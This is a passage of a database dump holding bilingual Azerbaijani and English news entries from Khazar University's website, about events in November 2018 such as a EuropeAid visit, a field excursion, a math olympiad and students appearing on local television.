Xalq Bankının baş ofisində “Xalq əmanəti” layihəsi çərçivəsində...','<p>2018-ci il noyabrın 13-də Xalq Bankının baş ofisində “Xalq əmanəti” layihəsi çərçivəsində görkəmli Azərbaycan rəssamı, milli qrafika sənətinin qurucularından biri, Azərbaycanın əməkdar artisti Ələkbər Ələsgər oğlu Rzaquliyevə həsr olunmuş 17-ci nəşrin təntənəli təqdimatı keçirildi.</p><p>Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış etdi.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://kaspiy.az/news.php?id=92626#.W-rQDBEzbIU\">http://kaspiy.az/news.php?id=92626#.W-rQDBEzbIU  </a>.</p>'),(6412,3641,'en','Hamlet Isakhanli delivers a speech in “National Asset” project','On November 13, 2018, within “National asset” project, a solemn presentation of the 17th publication...','<p>On November 13, 2018, within “National asset” project, a solemn presentation of the 17<sup>th</sup> publication dedicated to Alakbar Alasgar oghlu Rzaguliyev, a well-known artist, one of the founders of national graphic art, Honored Artist of Azerbaijan, was held in the head office of Xalq Bank.</p><p>Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech in the event.</p><p>Further information is available through the following link:</p><p><a href=\"http://kaspiy.az/news.php?id=92626#.W-rQDBEzbIU\">http://kaspiy.az/news.php?id=92626#.W-rQDBEzbIU&nbsp;</a>.<br></p>'),(6413,3642,'az','Təhsil fakültəsinin 1-ci il tələbələri ilə görüş','2018-ci il noyabrın 3-də Xəzər Universiteti Təhsil fakültəsinin 2-ci kurs ingilis dili müəllimliyi...','<p>2018-ci il noyabrın 3-də Xəzər Universiteti Təhsil fakültəsinin 2-ci kurs ingilis dili müəllimliyi ixtisasının tələbələri universitetin eyni adlı ixtisasına yeni qəbul olmuş tələbələrlə görüş keçirdilər. Görüşün təşkilatçıları – Günay Məmmədova və Ətir Quliyeva 1-ci il tələbələrinə universitet həyatı, imtahanlar haqqında geniş məlumat verdilər, onların suallarını&nbsp;cavablandırdılar.</p>'),(6414,3642,'en','Meeting with first-year students of the School of Education','On November 3, 2018, the second-year students majoring in English Language Teaching...','<p>On November 3, 2018, the second-year students majoring in English Language Teaching, the School of Education, met with the first-year students of the same specialty. Gunay Mammadova and Atir Guliyeva, the organizers of the meeting, provided the newly admitted students with detailed information about a university life and exams and answered their questions.</p>'),(6415,3643,'az','Tədqiqat Sahəsinin İnkişafı və İnnovasiya üzrə EuropeAid nümayəndələri Xəzər Universitetində','2018-ci il noyabrın 2-də EuropeAid-in “Tədqiqat sahəsinin inkişafı və innovasiyanın gücləndirilməsi...','<p>2018-ci il&nbsp;noyabrın 2-də EuropeAid-in “Tədqiqat sahəsinin inkişafı və innovasiyanın gücləndirilməsi” üzrə nümayəndələri Xəzər Universitetini ziyarət etdilər. Polşadan olan nümayəndələr –Yaçek Qayevski və Kriştof Quldanın məqsədi Xəzər Universitetində tədqiqat, inkişaf və innovasiya (Tİİ) fəaliyyəti haqqında daha çox məlumat əldə etmək, həmçinin, EuropeAid çərçivəsində başlamış yeni “Azərbaycanın ali təhsil ocaqlarında tədqiqat sahəsinin inkişafı və innovasiyanın gücləndirilməsi” layihəsini təqdim etmək idi.</p><p>Görüşdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, universitetin rektoru Dr. Hassan Niknafs, Elmi işlər üzrə prorektor&nbsp;dosent İradə Xəlilova, Kitabxana-İnformasiya Mərkəzinin Direktoru Tatyana Zaytseva, o cümlədən, İnkişaf Mərkəzinin Direktoru Raziyə İsayeva iştirak edirdilər. Görüş zamanı, prorektor İradə Xəlilova Xəzər Universitetində Tİİ fəaliyyəti, qeyd olunan sahələr üzrə qarşıda duran hədəf və çətinliklər haqqında ətraflı təqdimatla çıxış etdi.</p><p>Görüşün sonunda tərəflər həmkarlıqda maraqlı olduqlarını ifadə edərək, layihə çərçivəsində gələcək əməkdaşlıq addımlarını müəyyənləşdirdilər.</p><p>Layihənin məqsədi ali təhsil ocaqlarında Tİİ-ni dəstəkləmək üçün rəqabətədavamlı tədqiqat fondlarının müxtəlifliyini uğurla tətbiq etmək və həyata keçirməklə, Təhsil Nazirliyinin institusional potensialını artırmaq və beləliklə, Tİİ siyasəti və idarəçiliyini gücləndirməkdir.</p>'),(6416,3643,'en','EuropeAid Representatives on Research Development and Innovation at Khazar University','On November 2nd, 2018, the representatives of EuropeAid on the project “Strengthening...','<p>On November 2<sup>nd</sup>, 2018, the representatives of EuropeAid on the project “Strengthening Research Development and Innovation (RDI)” visited Khazar University. The aim of two representatives from Poland – Mr. Jacek Gajewski and Mr. Krzysztof Gulda - was to collect more information about research, development and innovation activities at Khazar University, as well as to introduce newly launched EuropeAid project “Strengthening RDI in higher education in Azerbaijan”.</p><p>Professor Hamlet Isakhanli, Founder of Khazar University, Chairman of its Board of Directors and Trustees, Dr. Hassan Niknafs, Rector, Assoc. Prof. Irada Khalilova, Vice Rector for Research, Ms. Tatyana Zaytseva, Director of Library and Information Center (LIC), as well as Ms. Raziya Isayeva, Director of Development Center were present at the meeting. During the meeting, Vice Rector Irada Khalilova introduced her presentation with thorough information on RDI activities at Khazar University, its goals and challenges in the mentioned spheres.</p><p>At the end of the meeting, the sides expressed their will for establishing collaboration, and defined their further cooperation steps within the project.</p><p>The overall objective of the above-mentioned project is strengthening of policy and management of RDI in HE, whose purpose is to increase the institutional capacities of the Ministry of Education to successfully introduce and implement a diversity of competitive research funds to support RDI in higher education.</p>'),(6418,3644,'az','Doktorantın məqaləsi indeksli jurnalda çap olundu','Xəzər Universitetinin biokimya üzrə doktorantı Nəzirə Pur Xəlilinin həmmüəllif...','<p>Xəzər Universitetinin biokimya üzrə doktorantı Nəzirə Pur Xəlilinin həmmüəllifi olduğu “<em>Bisfenol A: Diabet və epigenetik modulyasiyanın əsasında nə dayanır?</em>” adlı tədqiqat məqaləsi “Life Sciences” jurnalı (Elsevier nəşriyyatı) tərəfindən nəşr edilmişdir.</p><p>Elmi jurnal və məqalə haqqında ətraflı məlumatı aşağıdakı linklər vasitəsilə əldə etmək olar:\r\n</p><p><a href=\"https://www.journals.elsevier.com/life-sciences\">https://www.journals.elsevier.com/life-sciences</a></p><p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0024320518306696\">https://www.sciencedirect.com/science/article/abs/pii/S0024320518306696</a></p><p><strong><br></strong></p><p><strong>Qrafik məzmun:</strong></p><p><a href=\"http://khazar.org/files/letters/graphical_abstract.jpg\" target=\"_blank\"><img src=\"/files/letters/graphical_abstract.jpg\" style=\"width:200px;height:281px\"></a></p><p><br></p>'),(6419,3645,'az','Beynəlxalq Coğrafiya İnformasiya Sistemləri günü münasibətilə tədbir keçirildi','2018-ci il noyabrın 15-də 14 Noyabr –Beynəlxalq Coğrafiya İnformasiya Sistemləri...','<p>2018-ci il noyabrın 15-də 14 Noyabr –Beynəlxalq Coğrafiya İnformasiya Sistemləri (CİS) günü münasibətilə Azərbaycan Respublikası Təhsil Nazirliyi, Bakı şəhəri 78 nömrəli tam orta məktəb, AMEA-nın Coğrafiya İnstitutu və Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatşılığı ilə “Ümumi təhsil müəssisələrində CİS tətbiqi ilə coğrafiya fənnini tədris edəcək müəllimlərə təlim” adlı tədbir təşkil olundu. Tədbirdə Azərbaycanın müxtəlif universitetlərinin müəllimləri və magistrləri, Bakı şəhər orta məktəb müəllimləri, AMEA-nın Coğrafiya İnstitutunun müəllimləri və magistrləri, Caspian Geomatics və Caucasus şirkətlərinin əməkdaşları iştirak edirdilər.</p>'),(6420,3645,'en','Event organized on the occasion of International Geography Information Systems Day','On November 15, 2018, on a joint organizational support of the Ministry of Education, secondary...','<p>On November 15, 2018, on a joint organizational support of the Ministry of Education, secondary school #78 of Baku city, the Institute of Geography, ANAS, and the Department of Geography and the Environment of Khazar University, a training on the use of CIS (Geography Information Systems) for secondary school Geography instructors was organized on the occasion of 14 November –   International Geography Information Systems Day. The event was attended by instructors and graduate students of various universities and the Institute of Geography, ANAS, secondary school teachers, and associates of Caspian Geomatics and Caucasus companies</p>'),(6421,3646,'az','Böyükşor gölünə ekskursiya təşkil olundu','2018-ci il noyabrın 15-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin...','<p>2018-ci il noyabrın 15-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatçılığı ilə İqtisadiyyat və Menecment fakültəsinin 3-cü kurs tələbələrinə ekoloji iqtisadiyyat və siyasət (“Environmental Economics and Policy”) fənnindən Böyükşor gölünə ekskursiya təşkil olundu. Çöl tədqiqatı zamanı tələbələr Böyükşor gölün çirklənmə mənbələri, davamlı təmizliyinin və mühafizəsinin təmin edilməsi haqqında ərtaflı praktiki biliklər aldılar.</p>'),(6422,3646,'en','An excursion to Lake Boyukshor','On November 15, 2018, on an organizational support of the Department of Geography and the Environment...','<p>On November 15, 2018, on an organizational support of the Department of Geography and the Environment of Khazar University, an excursion to Lake Boyukshor was organized within Environmental Economics and Policy course for the third-year students of the School of Economics and Management. Within the field research, students were informed about reasons for pollution of Lake Boyukshor as well as constant cleaning and protection of the lake.</p>'),(6423,3647,'az','“Dünya” məktəbində Riyaziyyat olimpiadası oldu','2018-ci il noyabrın 14-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya”...','<p>2018-ci il noyabrın 14-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində 7-9-cu siniflər&nbsp;arasında Amerika Riyaziyyatçılar Assosiasiyası (American Mathematic Competitions) tərəfindən təşkil olunmuş Riyaziyyat olimpiadası keçirildi. Olimpiadanın keçirilməsində məqsəd şagirdlərin riyazi bilik və bacarıqlarının artırılması idi.</p>'),(6424,3647,'en','Mathematics Olympiad takes place at \"Dunya\" School','On November 14, 2018, a Mathematics Olympiad organized by the Mathematical Association...','<p>On November 14, 2018, a Mathematics Olympiad organized by the Mathematical Association of America for 7<sup>th</sup>-9<sup>th</sup>-grade students took place at \"Dunya\" School, affiliated with Khazar University. The aim of the Olympiad was to increase students’ mathematical knowledge and skills.</p>'),(6425,3648,'az','Tələbələr CASPIAN ECOLOGY sərgisində','2018-ci il noyabrın 16-da Xəzər Universiteti Coğrafiya və etraf mühit departamentinin...','<p>2018-ci il noyabrın 16-da Xəzər Universiteti Coğrafiya və etraf mühit departamentinin coğrafiya ixtisasının tələbələri Bakı Ekspo Mərkəzində 9-cu Beynəlxalq Ətraf Mühit (CASPIAN ECOLOGY) sərgisində oldular. Sərgidə tələbələrimiz müxtəlif stendlərə baş çəkdilər və GIZ alman şirkətinin stendində sual-cavabda iştirak edərək, müxtəlif hədiyyələr qazandılar.</p>'),(6426,3648,'en','Students at CASPIAN ECOLOGY exhibition','On November 16, 2018, students of the Department of Geography and the Environment...','<p>On November 16, 2018, students of the Department of Geography and the Environment of Khazar University participated in 9<sup>th</sup> International Environment (CASPIAN ECOLOGY) exhibition in Baku Expo Center. At the exhibition, students went up to various stands. They also took an active part in a quiz at the stand of GIZ, a German company, and won prizes.</p>'),(6427,3649,'az','Hamlet İsaxanlı beynəlxalq elmi seminarda çıxış etdi','2018-ci il noyabrın 16-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri...','<p>2018-ci il noyabrın 16-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “<em>Riyaziyyatın poeziyası və Poeziyanın riyaziyyatı</em>” adlı məqaləsi ilə Azərbaycan&nbsp;Milli Elmlər Akademiyası Nizami Gəncəvi adına Ədəbiyyat İnstitutunun 85 illik yubileyinə həsr olunmuş tədbirdə&nbsp;və “Fizika və lirika: dünya təcrübəsi və MDB ölkələrində elm və ədəbiyyatın reallıqları” adlı beynəlxalq elmi seminarda çıxış etdi.</p><p>Noyabrın 14-də Azərbaycan Milli Elmlər Akademiyası, Təhsil, Elm&nbsp;və Mədəni Əməkdaşlıq üzrə Hökumətlərarası Fond və Nüvə Araşdırmaları Birgə İnstitutunun (Dubna, Moskva vilayəti, Rusiya)&nbsp;təşkilatçılığı ilə başlayan seminar noyabrın 18-dək davam edəcək.</p>'),(6428,3649,'en','Prof. Hamlet Isakhanli delivers a speech at an international conference','On November 16, 2018, Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman...','<p>On November 16, 2018, Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech on “<em>Poetry of Math and Math of Poetry</em>” at the event dedicated to the 85<sup>th</sup> anniversary of Nizami Ganjavi Museum of National Azerbaijan Literature, ANAS, and “Physics and Lyrics: world experience and realities of science and literature of the CIS countries”, International Scientific Seminar.</p><p>The event co-organized by Azerbaijan National Academy of Sciences, the Intergovernmental Foundation for Educational, Scientific and Cultural Cooperation (IFESCCO), and Joint Institute for Nuclear Research (Dubna, Moscow Region, Russia)   kicked off on November 14 and will continue until November 18.</p>'),(6429,3650,'az','Xəzər Universitetinin əcnəbi tələbələri yerli telekanalda','2018-ci il noyabrın 15-də Xəzər Universitetinin beynəlxalq tələbələri milli televiziya...','<p>2018-ci il noyabrın 15-də Xəzər Universitetinin beynəlxalq tələbələri milli televiziya kanalı AzTV-nin “Tələbə dünyası” verilişi üçün verdikləri müsahibə Beynəlxalq tələbə gününə həsr olunmuş proqramda yayımlandı.</p><p>Verlişdə Mavritaniyadan Ali Mohamed, Zimbabvedən Tendai Samanta Şereni, Ekvadordan Sergio Omar Saca Quipe və Luiz Omar Andrade Bravo Azərbaycan və Xəzər Universiteti ilə bağlı təcrübələrini tamaşaçılarla bölüşərək, buradakı tələbə həyatı və təhsillə bağlı təəsüratlarını dilə gətirdilər.</p><p>Qeyd edək ki, Ali Mohamed Xəzər Universitetinin magistratura pilləsində beynəlxalq münasibətlər üzrə təhsil alır. O, Xarici İşlər Nazirliyinin AIDA (Azərbaycan Beynəlxalq İnkişaf Agentliyi) qurumu tərəfindən həyata keçirilən İslam Əməkdaşlıq Təşkilatına üzv ölkələrin vətəndaşları üçün təhsil qrantları proqramının iştirakçısıdır. Təqaüd proqramı təhsil haqqı, həmçinin, yaşayış, nəqliyyat və tibbi sığorta xərclərini qarşılayır. Magistratura pilləsindən olan digər tələbələr, Sergio və Omar Xəzər Universitetində neft-qaz mühəndisliyi ixtisasında təhsil alırlar. Onlar Xəzər Universitetinin beynəlxalq təqaüd proqramına layiq görülmüşlər ki, bu təqaüd proqramı yüksək akademik göstəricilər nümayiş etdirən tələbələrə təklif olunur.</p><p>Xəzər Universitetində Tendainin artıq üçüncü ilidir. Tendai bakalavr pilləsində Beynəlxalq münasibətlər ixtisası üzrə təhsil alır. O da Xəzər Universitetinin Beynəlxalq Təqaüd Proqramına layiq görülən tələbələrdəndir. Azərbaycanda olduğu müddətdə Tendai Azərbaycanın təbiəti və mədəniyyəti ilə daha yaxından tanış olmaq üçün regionlara da səfərlər etmişdir.</p>'),(6430,3650,'en','International Students of Khazar University on Local TV','International students of Khazar University gave interviews for the “Student’s World...','<p>International students of Khazar University gave interviews for the “Student’s World” TV show, which is broadcast on national TV channel, AzTV. Ali Mohamed from Mauritania, Tendai Samantha Shereni from Zimbabwe, Sergio Omar Saca Quispe and Lewis Omar Andrade Bravo from Ecuador shared their experiences in Azerbaijan and Khazar University with the larger audience, expressing their impressions about their life and studies here.</p><p>Ali Mohamed is a Master student of Khazar University studying International Relations. He is a grantee of the “Educational Grant Programme for the Citizens of the Member Countries of the Organization for Islamic Cooperation” administered by AIDA (Azerbaijan International Development Agency) under the Ministry of Foreign Affairs of Azerbaijan Republic. The scholarship covers tuition fees as well as living, transport, and medical expenses. Sergio and Louis from Ecuador study Oil and Petroleum Engineering at a Master’s level. They received Khazar University International Scholarship (KUISP), a merit-based scholarship open to all foreign citizens.</p><p>Tendai is a 3<sup>rd</sup> year Bachelor student majoring in International Relations. She is also a recipient of the KUISP. Tendai has travelled extensively in Azerbaijan – she shared her travel impressions in her interview to the program.</p><p>The program was dedicated to the International Student’s Day. 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